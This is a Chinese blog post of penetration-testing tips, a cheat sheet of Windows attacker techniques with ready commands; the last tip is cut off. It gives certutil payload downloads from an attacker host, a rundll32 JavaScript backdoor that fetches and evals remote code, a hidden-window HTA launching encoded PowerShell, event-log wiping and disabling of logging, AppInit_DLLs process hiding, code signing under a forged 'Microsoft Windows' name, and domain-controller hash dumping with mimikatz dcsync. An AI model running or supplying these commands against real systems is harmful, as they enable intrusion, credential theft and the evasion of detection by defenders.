测试小技巧
(21)

Tips 1. 手动端口探测
nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证,使用Wireshark获取响应包未免大材小用,可通过nc简单判断eg.
技巧
对于8001端口,nc连接上去,随便输入一个字符串,得到了以下结果:

$ nc -vv localhost 8001  
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>

由此我们知道了这是一个http服务,因为我们发送的字符串不是一个合法的HTTP请求,因此返回一个400 Bad requests,我们还得到了系统的版本是Debian,WebServer是Apache
参考:
《谈谈端口探测的经验与原理》

https://www.freebuf.com/articles/network/146087.html

Tips 2. Windows系统从Kali下载文件
Kali:

python -m SimpleHTTPServer 80

Windows:

certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete

参考:
《渗透测试中的certutil.exe》

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/

Tips 3. 配置工作组计算机,使其支持net use远程连接
添加用户:

net user test test /add
net localgroup administrators test /add

修改注册表,使其支持远程连接:

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1

net use远程连接:
net use \192.168.1.195 test /u:test
Tips 4. Windows evtx日志清除
获取evtx日志分类列表:
wevtutil el >1.txt
获取单个evtx日志类别的统计信息:
eg.
wevtutil gli "windows powershell"
回显:

creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1

查看指定evtx日志的具体内容:

wevtutil qe /f:text "windows powershell"

查找指定数量的日志内容:

wevtutil qe /f:text "windows powershell" /c:20

删除单个evtx日志类别的所有信息:

wevtutil cl "windows powershell

参考:

《渗透技巧-Windows日志的删除与绕过》

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4/

单条evtx日志清除:
《渗透技巧——Windows单条日志的删除》

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/

Tips 5. 破坏Windows日志记录功能
通过调用TerminateThread结束实现日志功能的线程,使得日志记录功能失效,但Windows Event Log服务没有被破坏,状态仍为正在运行

Powershell:

https://github.com/hlldz/Invoke-Phant0m

C++:

https://github.com/3gstudent/Windwos-EventLog-Bypass

参考:

《渗透技巧-Windows日志的删除与绕过》

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/

《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8API-NtQueryInformationThread%E5%92%8CI_QueryTagInformation%E5%AE%9E%E7%8E%B0%E5%AF%B9Windwos%E6%97%A5%E5%BF%97%E7%9B%91%E6%8E%A7%E7%9A%84%E7%BB%95%E8%BF%87/

Tips 6. Win7和Windows Server 2008 R2下的进程隐藏
利用globalAPIhooks,通过修改注册表实现
下载工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz
修改代码指定要隐藏的程序名cldr.exe,编译成cldr.dll,cldr.dll放在C:\ProgramData\Microsoft\HelpLibrary\
管理员权限:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f

此时,任务管理器进程列表不存在cldr.exe,Process Explorer不存在cldr.exe,Tasklist.exe不存在cldr.exe
对于64位系统:
管理员权限:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f

参考:

《利用globalAPIhooks在Win7系统下隐藏进程》

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8globalAPIhooks%E5%9C%A8Win7%E7%B3%BB%E7%BB%9F%E4%B8%8B%E9%9A%90%E8%97%8F%E8%BF%9B%E7%A8%8B/

Tips 7. 同名exe和com文件执行顺序
如果一个路径下同时包含同名的exe和com文件,例如test.exe和test.com,通过命令行cmd输入test(不包含文件后缀名),会优先运行com文件,即test.com
而COM文件的生成只需要把exe文件的后缀名改为com即可
参考:

《A dirty way of tricking users to bypass UAC》
http://www.vuln.cn/6022
Tips 8. Windows系统证书生成与注册

证书生成与签名:

makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe

执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件,test.exe被加上数字签名
证书注册:
管理员权限cmd,将证书添加到localmachine:
certmgr.exe -add -c Root.cer -s -r localmachine root
参考:
《A dirty way of tricking users to bypass UAC》
http://www.vuln.cn/6022

Tips 9.  hta执行vbs,加载powershell
test.hta:
<HTML> 
<HEAD> 
<script language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD> 
<BODY> 
</BODY> 
</HTML>

参考:
《Bypass McAfee Application Control——Code Execution》
https://blog.csdn.net/weixin_34128237/article/details/87980508
Tips 10. 通过c#编写dll & 通过rundll32.exe或者regsvr32加载dll

默认情况下,c#不可以声明导出函数,但可通过添加UnmanagedExports实现
当然,通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,通过c++编写的dll更加通用
通过rundll32.exe或者regsvr32能够加载dll,但要求dll包含特定的导出函数
参考:
《Code Execution of Regsvr32.exe》
https://blog.csdn.net/qq_27446553/article/details/52084541
Tips 11. Windows下cpl文件介绍
本质上是DLL文件,后缀名为cpl,包含一个导出函数CPLApplet(c实现可不指定)
执行方法:
(1)双击直接运行
(2)cmd
rundll32 shell32.dll,Control_RunDLL test.cpl
(3)cmd
control test.cpl
(4)vbs
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")
(5)js
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\test\test.cpl");
参考:
《CPL文件利用介绍》
https://blog.csdn.net/weixin_34232617/article/details/87979961

Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell
Server:

https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1
Client:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

当然,该RAT工具还可通过以下方法加载:
vbs,js,exe,dll,shellcode
参考:

《JavaScript Backdoor》
https://blog.csdn.net/qq_27446553/article/details/50477740
《JavaScript Phishing》
https://blog.csdn.net/weixin_34288121/article/details/87980376

Tips 13. 可通过内存dump还原出putty&pageant的密钥
windows和Linux均适用
参考:
《Memory Dump利用实例》
https://blog.csdn.net/weixin_34356138/article/details/87980848
Tips 14. 针对Visual Studio的钓鱼利用
Visual C++:
修改.vcxproj文件
Visual Basic:
修改.vbproj文件
Visual F#:
修改.fsproj文件
使用Visual Studio对以上任一工程编译时,能够执行任意代码
参考:
《Pay close attention to your download code——Visual Studio trick to run code when building》
https://blog.csdn.net/weixin_34397291/article/details/87979740
Tips 15. 32位程序在64位Windows系统下执行的时候,如果有对注册表和文件的操作,存在重定向
对注册表操作:
访问HKLMSoftware的实际路径为HKLMSoftwareWow6432Node\
对文件操作:
访问c:windowsSysnative 的实际路径为 c:windowssystem32
访问c:windowssystem32 的实际路径为 c:windowsSysWOW64\
参考:
《关于32位程序在64位系统下运行中需要注意的重定向问题》
https://blog.csdn.net/chenlycly/article/details/53119127
Tips 16. 获取Windows域控所有用户hash
方法1:
复制ntds.dit:
使用NinjaCopy,https://github.com/3gstudent/NinjaCopy
导出hash:
使用quarkspwdump,https://github.com/quarkslab/quarkspwdump
esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c:testntds.dit -o c:testlog.txt
方法2:
使用powershell:DSInternals PowerShell Module

https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip
适用条件:
Windows PowerShell 3.0 or 3.0+
.NET Framework 4.0 or 4.0+
参考:
《导出当前域内所有用户hash的技术整理》
《利用Powershell快速导出域控所有用户Hash》
方法3:
mimikatz:
mimikatz.exe "lsadump::dcsync /domain:test.local /all /csv" exit
Tips 17. 导出Windows系统明文口令
Windows Server 2012默认无法使用mimikatz导出明文口令,部分Windows Server 2008也一样
解决方法:启用Wdigest Auth
cmd:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v Use

本文为作者admin发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论